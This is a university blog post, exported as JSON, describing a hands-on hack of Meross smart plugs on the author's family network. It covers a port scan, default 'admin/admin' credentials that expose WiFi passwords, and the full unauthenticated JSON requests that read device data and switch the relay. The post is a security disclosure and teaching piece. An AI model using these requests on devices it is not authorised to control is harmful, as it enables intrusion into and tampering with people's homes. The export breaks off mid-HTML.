{"id":20957,"date":"2021-09-09T18:44:43","date_gmt":"2021-09-09T16:44:43","guid":{"rendered":"https:\/\/blog.mi.hdm-stuttgart.de\/?p=20957"},"modified":"2023-08-06T21:40:57","modified_gmt":"2023-08-06T19:40:57","slug":"why-its-so-easy-to-hack-your-smart-home","status":"publish","type":"post","link":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2021\/09\/09\/why-its-so-easy-to-hack-your-smart-home\/","title":{"rendered":"Why It\u2019s So Easy to Hack Your Smart Home"},"content":{"rendered":"\n<p>Every day, new smart home accessories go online for the first time to join the <em>Internet of Things (IoT)<\/em>. Many of them enjoy the unwarranted trust of their owners. This blog post is a case study of the <em>haunted smart home<\/em>.<\/p>\n\n\n\n<p>Earlier this year, I visited my family for a few days. After sitting and talking at the kitchen table for a bit, they told me about their new smart wall plugs that integrate into their Apple Home ecosystem. Using the plugs, they can turn on their kitchen lights from their phones \u2014 or automatically at sunset. Pretty cool. After I had a closer look at one of the plugs, I searched for the brand on the Internet, because I had never heard of it. Turns out, these &#8220;Meross Smart Plugs&#8221; are the first item that pops up on Amazon when you search for a HomeKit-compatible socket outlet that can switch &#8220;dumb&#8221; devices like lamps, coffee makers or hi-fi equipment on and off. At the time of writing, they cost about 17 \u20ac apiece.<\/p>\n\n\n\n<p>As I had never heard of the brand and I would consider myself somewhat of a curious person, I thought it&#8217;d be a good idea to see if it was possible to control these plugs without being a part of the smart home environment. So I continued chatting with my family while investigating the local network.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\">Scratching the Surface<\/h2>\n\n\n\n<p>After scanning the local network for active devices, I identified the IP address of one of the smart plugs. A quick port scan using <em>nmap<\/em> showed that there is at least one open port, which seems to be an HTTP service on port 80.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\" data-line=\"\">&nbsp;$ nmap 192.168.1.50&lt;br&gt;&nbsp;Starting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-09-07 09:44 CEST&lt;br&gt;&nbsp;Nmap scan report for 192.168.1.50&lt;br&gt;&nbsp;Host is up (1.1s latency).&lt;br&gt;&nbsp;Not shown: 999 closed ports&lt;br&gt;&nbsp;PORT &nbsp; STATE SERVICE&lt;br&gt;&nbsp;80\/tcp open  http&lt;br&gt;&nbsp;\u200b&lt;br&gt;&nbsp;Nmap done: 1 IP address (1 host up) scanned in 988.07 seconds<\/code><\/pre>\n\n\n\n<p>As a next step, I tried to visit the device&#8217;s web service using a browser \u2014 and was greeted with an HTTP Basic Auth login dialog presented by Firefox. The first thing that came to my mind was to try one of the most common username and password combinations: &#8220;admin \/ admin&#8221;. Fortunately for me and unfortunately for every owner of a comparable &#8220;smart&#8221; outlet, my guess was correct and a rudimentary administration panel was rendered before my eyes. Even though I had assumed that the login would use a default password, I was certainly a bit surprised that my very first guess already did the trick.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><a href=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/basic_auth.png\"><img loading=\"lazy\" decoding=\"async\" width=\"365\" height=\"232\" data-attachment-id=\"20983\" data-permalink=\"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2021\/09\/09\/why-its-so-easy-to-hack-your-smart-home\/basic_auth\/\" data-orig-file=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/basic_auth.png\" data-orig-size=\"365,232\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"basic_auth\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/basic_auth.png\" src=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/basic_auth.png\" alt=\"\" class=\"wp-image-20983\" srcset=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/basic_auth.png 365w, https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/basic_auth-300x191.png 300w\" sizes=\"auto, (max-width: 365px) 100vw, 365px\" \/><\/a><figcaption class=\"wp-element-caption\">Firefox HTTP Basic Auth login screen<\/figcaption><\/figure>\n\n\n\n<p>At first glance, the administration panel already set off some alarms in the back of my head. The first thing I noticed was that my family&#8217;s WiFi SSID and password were visible in plain text. At this point, anyone who guessed the absurdly obvious default username and password would now be in possession of the WiFi credentials my family is using. To put it nicely, that&#8217;s not exactly ideal.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><a href=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config.png\"><img loading=\"lazy\" decoding=\"async\" width=\"510\" height=\"965\" data-attachment-id=\"20984\" data-permalink=\"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2021\/09\/09\/why-its-so-easy-to-hack-your-smart-home\/web_config\/\" data-orig-file=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config.png\" data-orig-size=\"510,965\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"web_config\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config.png\" src=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config.png\" alt=\"\" class=\"wp-image-20984\" srcset=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config.png 510w, https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config-159x300.png 159w\" sizes=\"auto, (max-width: 510px) 100vw, 510px\" \/><\/a><figcaption class=\"wp-element-caption\">Meross smart plug administration page<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Switching the Lights Off<\/h2>\n\n\n\n<p>Of course, the interesting bit of taking over a <em>thing<\/em> in the <em>Internet of Things<\/em> is its connection to the physical world. Thus, I wanted to see if I can turn lights controlled by the smart plug on and off without being authorized. That is \u2014 with my family&#8217;s permission, of course.<\/p>\n\n\n\n<p>After some research on the Internet, I found a few tinkerers on <a href=\"https:\/\/github.com\/Robdel12\/homebridge-meross-plug\/blob\/master\/src\/index.js\">GitHub<\/a> and several <a href=\"https:\/\/community.symcon.de\/t\/meross-wlan-steckdosen-php-modul\/48483\/46\">forums<\/a> that had figured out how to integrate their Meross smart plugs with their Open-Source-based smart home solutions. According to their code, all I needed to do was to send a well-formatted HTTP POST request to a <code class=\"\" data-line=\"\">\/config<\/code> endpoint.<\/p>\n\n\n\n<p>The JSON body of a valid request includes four important fields. The combination of <code class=\"\" data-line=\"\">method<\/code> and <code class=\"\" data-line=\"\">namespace<\/code> values seem to refer to the action that should be performed. For example, <code class=\"\" data-line=\"\">GET<\/code> and <code class=\"\" data-line=\"\">Appliance.System.All<\/code> will return system information while <code class=\"\" data-line=\"\">SET<\/code> and <code class=\"\" data-line=\"\">Appliance.Control.ToggleX<\/code> toggles the electromagnetic relay inside of the smart plug. The keys <code class=\"\" data-line=\"\">messageId<\/code> and <code class=\"\" data-line=\"\">timestamp<\/code> are important because they affect the value that needs to be present in the <code class=\"\" data-line=\"\">sign<\/code> field. From what I understand, the <code class=\"\" data-line=\"\">sign<\/code> value is formed by concatenating the <code class=\"\" data-line=\"\">messageId<\/code> and <code class=\"\" data-line=\"\">timestamp<\/code> values and hashing them using the MD5 algorithm. However, I do not understand its purpose, since HTTP typically transmits via TCP, which already features a checksum per package for error detection. Even if you wanted to make <em>really<\/em> sure that no transmission error had occurred, why would you only check that the <code class=\"\" data-line=\"\">messageId<\/code> and <code class=\"\" data-line=\"\">timestamp<\/code> fields are correct while the payload and every other key is not checked for correctness?<\/p>\n\n\n\n<p>I&#8217;d like to take a quick moment to point out that this endpoint <em>always<\/em> expects POST requests, even when we only want to read data. In the JSON payload, we have to set a <code class=\"\" data-line=\"\">header.method<\/code> value that is seemingly used instead of the built-in HTTP methods. Of course, that&#8217;s not how an HTTP API should be designed.<\/p>\n\n\n\n<p>Now that we have a vague understanding of the application protocol, let&#8217;s try to get some system information from the API. The author of a <a href=\"https:\/\/github.com\/Robdel12\/homebridge-meross-plug\/blob\/master\/src\/index.js\">Meross Homebridge Plugin<\/a> suggested that the easiest way to get a valid <code class=\"\" data-line=\"\">sig<\/code> value is to send a request with an invalid <code class=\"\" data-line=\"\">sig<\/code> value, because the response will contain a valid value itself.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\" data-line=\"\">&nbsp;{&lt;br&gt;&nbsp;  &quot;payload&quot;: {},&lt;br&gt;&nbsp;  &quot;header&quot;: {&lt;br&gt;&nbsp;    &quot;messageId&quot;: &quot;c3222c7d2b9163fe2968f06c45338a9f&quot;,&lt;br&gt;&nbsp;    &quot;method&quot;: &quot;GET&quot;,&lt;br&gt;&nbsp;    &quot;from&quot;: &quot;\/appliance\/2006287187393751851148e1e921f1a5\/subscribe&quot;,&lt;br&gt;&nbsp;    &quot;namespace&quot;: &quot;Appliance.System.All&quot;,&lt;br&gt;&nbsp;    &quot;timestamp&quot;: 1631002514,&lt;br&gt;&nbsp;    &quot;payloadVersion&quot;: 1,&lt;br&gt;&nbsp;    &quot;sign&quot;: &quot;invalid-value&quot;&lt;br&gt;&nbsp;  }&lt;br&gt;&nbsp;}<\/code><\/pre>\n\n\n\n<p>As you can see, the response is complaining that a &#8220;sign error&#8221; has occurred. Let&#8217;s fix that by copying over the <code class=\"\" data-line=\"\">messageId<\/code>, <code class=\"\" data-line=\"\">timestamp<\/code> and <code class=\"\" data-line=\"\">sign<\/code> fields from the response into our request.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\" data-line=\"\">&nbsp;{&lt;br&gt;&nbsp; &nbsp;&quot;header&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;messageId&quot;: &quot;c3222c7d2b9163fe2968f06c45338a9f&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;namespace&quot;: &quot;Appliance.System.All&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;method&quot;: &quot;ERROR&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;payloadVersion&quot;: 1,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;from&quot;: &quot;\/appliance\/2007146089265651851548e1e924c626\/publish&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;timestamp&quot;: 1631003048,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;timestampMs&quot;: 564,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;sign&quot;: &quot;ccb6928ccd87dc4ca5c67f370ec4ef06&quot;&lt;br&gt;&nbsp;  },&lt;br&gt;&nbsp; &nbsp;&quot;payload&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;error&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp;&quot;code&quot;: 5001,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp;&quot;detail&quot;: &quot;sign error&quot;&lt;br&gt;&nbsp; &nbsp;  }&lt;br&gt;&nbsp;  }&lt;br&gt;&nbsp;}<\/code><\/pre>\n\n\n\n<p>Let&#8217;s try to get system information once again, this time with a valid <code class=\"\" data-line=\"\">sign<\/code> value.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\" data-line=\"\">&nbsp;{&lt;br&gt;&nbsp;  &quot;payload&quot;: {},&lt;br&gt;&nbsp;  &quot;header&quot;: {&lt;br&gt;&nbsp;    &quot;messageId&quot;: &quot;c3222c7d2b9163fe2968f06c45338a9f&quot;,&lt;br&gt;&nbsp;    &quot;method&quot;: &quot;GET&quot;,&lt;br&gt;&nbsp;    &quot;from&quot;: &quot;\/appliance\/2006287187393751851148e1e921f1a5\/subscribe&quot;,&lt;br&gt;&nbsp;    &quot;namespace&quot;: &quot;Appliance.System.All&quot;,&lt;br&gt;&nbsp;    &quot;timestamp&quot;: 1631003048,&lt;br&gt;&nbsp;    &quot;payloadVersion&quot;: 1,&lt;br&gt;&nbsp;    &quot;sign&quot;: &quot;ccb6928ccd87dc4ca5c67f370ec4ef06&quot;&lt;br&gt;&nbsp;  }&lt;br&gt;&nbsp;}<\/code><\/pre>\n\n\n\n<p>And voil\u00e0, our smart plug is actually quite talkative. The <code class=\"\" data-line=\"\">payload<\/code> object contains information about the hardware, the installed firmware as well as the current power state of the outlet relay. We can see that the plug is a Meross MSS210 with a MediaTek SoC that has ARM single-core CPU and a 2.4 GHz WiFi subsystem. It also provides the hardware MAC address as well as firmware version information and the WiFi MAC and IP addresses. The plug appears to be connected to the manufacturer&#8217;s MQTT broker and shows that the power state is currently off (<code class=\"\" data-line=\"\">payload.digest.togglex.onoff<\/code>).<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\" data-line=\"\">&nbsp;{&lt;br&gt;&nbsp; &nbsp;&quot;header&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;messageId&quot;: &quot;c3222c7d2b9163fe2968f06c45338a9f&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;namespace&quot;: &quot;Appliance.System.All&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;method&quot;: &quot;GETACK&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;payloadVersion&quot;: 1,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;from&quot;: &quot;\/appliance\/2007146089265651851548e1e924c626\/publish&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;timestamp&quot;: 1631002528,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;timestampMs&quot;: 338,&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;sign&quot;: &quot;5258b55b15ecbaf6c9b719418fe96b20&quot;&lt;br&gt;&nbsp;  },&lt;br&gt;&nbsp; &nbsp;&quot;payload&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp;&quot;all&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp;&quot;system&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;hardware&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;type&quot;: &quot;mss210&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;subType&quot;: &quot;us&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;version&quot;: &quot;4.0.0&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;chipType&quot;: &quot;MT7686&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;uuid&quot;: &quot;2007146089265651851548e1exxxxxx&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;macAddress&quot;: &quot;48:e1:e9:25:xx:xx&quot;&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp;  },&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;firmware&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;version&quot;: &quot;4.1.7&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;homekitVersion&quot;: &quot;2.0.1&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;compileTime&quot;: &quot;Mar 18 2020 15:56:36&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;wifiMac&quot;: &quot;7e:8a:20:0a:xx:xx&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;innerIp&quot;: &quot;192.168.1.50&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;server&quot;: &quot;mqtt.meross.com&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;port&quot;: 443,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;userId&quot;: 1134542&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp;  },&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;time&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;timestamp&quot;: 1631002528,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;timezone&quot;: &quot;Europe  \/Berlin&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;timeRule&quot;: &#091;...]&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp;  },&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;online&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;status&quot;: 1,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;bindId&quot;: &quot;lMSf38WDFKGDxxxx&quot;,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;who&quot;: 1&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp;  }&lt;br&gt;&nbsp; &nbsp; &nbsp;  },&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp;&quot;digest&quot;: {&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;togglex&quot;: &#091;&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;channel&quot;: 0,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;onoff&quot;: 0,&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;lmTime&quot;: 1626698794&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp;  ],&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;triggerx&quot;: &#091;],&lt;br&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;timerx&quot;: &#091;]&lt;br&gt;&nbsp; &nbsp; &nbsp;  }&lt;br&gt;&nbsp; &nbsp;  }&lt;br&gt;&nbsp;  }&lt;br&gt;&nbsp;}<\/code><\/pre>\n\n\n\n<p>Bear in mind that we didn&#8217;t have to authenticate at any point, we didn&#8217;t even need our previously obtained &#8220;admin \/ admin&#8221; credentials. Of course, we can do more than just gather information on the plug. As you may have guessed by this point, it&#8217;s as trivial to toggle the power as it is to get system information. The only thing we have to do is to modify the request&#8217;s JSON body a bit.<\/p>\n\n\n\n<p>To switch the relay on or off (inversing the current state), we simply have to replace the <code class=\"\" data-line=\"\">method<\/code> and <code class=\"\" data-line=\"\">namespace<\/code> parameters to <code class=\"\" data-line=\"\">SET<\/code> and <code class=\"\" data-line=\"\">Appliance.Control.ToggleX<\/code>. Again, this works without any authentication or authorization. You just have to be able to reach the device on your network.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\" data-line=\"\">&nbsp;{&lt;br&gt;&nbsp;  &quot;payload&quot;: {},&lt;br&gt;&nbsp;  &quot;header&quot;: {&lt;br&gt;&nbsp;    &quot;messageId&quot;: &quot;c3222c7d2b9163fe2968f06c45338a9f&quot;,&lt;br&gt;&nbsp;    &quot;method&quot;: &quot;SET&quot;,&lt;br&gt;&nbsp;    &quot;from&quot;: &quot;\/appliance\/2006287187393751851148e1e921f1a5\/subscribe&quot;,&lt;br&gt;&nbsp;    &quot;namespace&quot;: &quot;Appliance.Control.ToggleX&quot;,&lt;br&gt;&nbsp;    &quot;timestamp&quot;: 1631003441,&lt;br&gt;&nbsp;    &quot;payloadVersion&quot;: 1,&lt;br&gt;&nbsp;    &quot;sign&quot;: &quot;8ea50b791a6b3353d186797918494d36&quot;&lt;br&gt;&nbsp;  }&lt;br&gt;&nbsp;}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">But Isn&#8217;t HomeKit Secure?<\/h2>\n\n\n\n<p>After I demonstrated that I could turn their lights on and off after half an hour of tinkering while sitting at the kitchen table talking with my family, they were quite surprised that it was so easy to take over a part of their smart home. Generally speaking, my family is tech-savvy and they attach importance to their online security. That&#8217;s part of the reason they use Apple&#8217;s ecosystem for mobile devices like iPhones and iPads, as well as an Apple TV (a set-top box for TVs).<\/p>\n\n\n\n<p>Apple&#8217;s smart home platform appeals to most people because it promises two key advantages: Firstly, commands are processed locally by stationary devices like an Apple TV, meaning that the smart home will work without an internet connection. Secondly, Apple advertises with a secure smart home environment and the underlying HomeKit protocol actually is fairly well-designed from a security perspective.<\/p>\n\n\n\n<p>HomeKit accessories communicate with Apple&#8217;s devices over an authenticated and encrypted channel using Ed25519 elliptic key pairs generated on-device. The public keys are exchanged using the Secure Remote Password (SRP) protocol that is based on an eight-digit code found on all HomeKit-enabled smart devices. Most accessories have a glued-on label displaying the setup code for scanning on an iOS device.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><a href=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/homekit_code-2.png\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"20994\" data-permalink=\"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2021\/09\/09\/why-its-so-easy-to-hack-your-smart-home\/homekit_code-2\/\" data-orig-file=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/homekit_code-2.png\" data-orig-size=\"502,614\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"homekit_code-2\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/homekit_code-2.png\" src=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/homekit_code-2.png\" alt=\"\" class=\"wp-image-20994\" width=\"126\" height=\"154\" srcset=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/homekit_code-2.png 502w, https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/homekit_code-2-245x300.png 245w\" sizes=\"auto, (max-width: 126px) 100vw, 126px\" \/><\/a><figcaption class=\"wp-element-caption\">HomeKit setup code<\/figcaption><\/figure>\n\n\n\n<p>When entering (or scanning) the setup code in Apple&#8217;s Home app, the accessories and Apple&#8217;s devices are exchanging their Ed25519 public keys. All communication after the setup process must be authenticated and encrypted using the exchanged keys.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><a href=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/screenshot_add_device-1.png\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"20988\" data-permalink=\"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2021\/09\/09\/why-its-so-easy-to-hack-your-smart-home\/screenshot_add_device-1\/\" data-orig-file=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/screenshot_add_device-1.png\" data-orig-size=\"1170,2532\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"screenshot_add_device-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/screenshot_add_device-1-473x1024.png\" src=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/screenshot_add_device-1-473x1024.png\" alt=\"\" class=\"wp-image-20988\" width=\"355\" height=\"768\" srcset=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/screenshot_add_device-1-473x1024.png 473w, https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/screenshot_add_device-1-139x300.png 139w, https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/screenshot_add_device-1-768x1662.png 768w, https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/screenshot_add_device-1-710x1536.png 710w, https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/screenshot_add_device-1-946x2048.png 946w, https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/screenshot_add_device-1.png 1170w\" sizes=\"auto, (max-width: 355px) 100vw, 355px\" \/><\/a><figcaption class=\"wp-element-caption\">HomeKit setup screen<\/figcaption><\/figure>\n\n\n\n<p>Apple&#8217;s HomeKit protocol uses state-of-the-art algorithms and can be considered a secure communication layer for a smart home. Then why is it possible to manipulate the smart plugs in question so easily, though? Because they not only support HomeKit, but a lot of other smart home systems as well. These smart plugs are advertised with built-in support for Apple&#8217;s HomeKit, Amazon&#8217;s Alexa, Google Assistant, SmartThings and \u2014 last but not least \u2014 the manufacturer&#8217;s own app.<\/p>\n\n\n\n<p>If manufacturers of cheap smart home accessories try to support a variety of smart home systems, of course the risk increases that they mess up at least one of the implementations. In this case, the manufacturer&#8217;s own web-based implementation seems to have major flaws that render the whole device a security nightmare.<\/p>\n\n\n\n<p>So, while HomeKit can be considered secure, the Meross smart plugs cannot \u2014 because the manufacturer&#8217;s own shaky API implementation tears a large hole in the device&#8217;s integrity.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What About Updates?<\/h2>\n\n\n\n<p>Now that we know the plugs are insecure, a software update would be sorely needed. Unfortunately, most IoT devices are never going to see a firmware update within their lifespan. In the case of our Meross smart plugs, according to the manufacturer, the plugs would only get updates if we had used the Meross app to set up the devices. Of course, one of the key selling points of Apple&#8217;s HomeKit is the ease of installation. Thus, I would guess that the vast majority of people will use Apple&#8217;s Home app to set up their smart plugs instead of downloading yet another third-party app \u2014 which is exactly what my family did.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>Due to the limitations of the Home app design, the Apple Home app will not help you upgrade the firmware if there is a firmware upgrade. The only way to upgrade HomeKit accessories&#8217; firmware is to set up and manage them in the Meross app. You will be able to receive firmware update notifications and upgrade the firmware in the Meross app.<\/p>\n<cite><a href=\"https:\/\/meross.com\/support\/FAQ\/355.html\">Meross Support Website<\/a><\/cite><\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\">Speaking of Firmware&#8230;<\/h2>\n\n\n\n<p>Let&#8217;s go back to the first step for a second. What I haven&#8217;t discussed before is the last configuration block on the web administration panel of the smart plugs.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><a href=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config_p5.png\"><img loading=\"lazy\" decoding=\"async\" width=\"510\" height=\"214\" data-attachment-id=\"20991\" data-permalink=\"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2021\/09\/09\/why-its-so-easy-to-hack-your-smart-home\/web_config_p5\/\" data-orig-file=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config_p5.png\" data-orig-size=\"510,214\" data-comments-opened=\"1\" 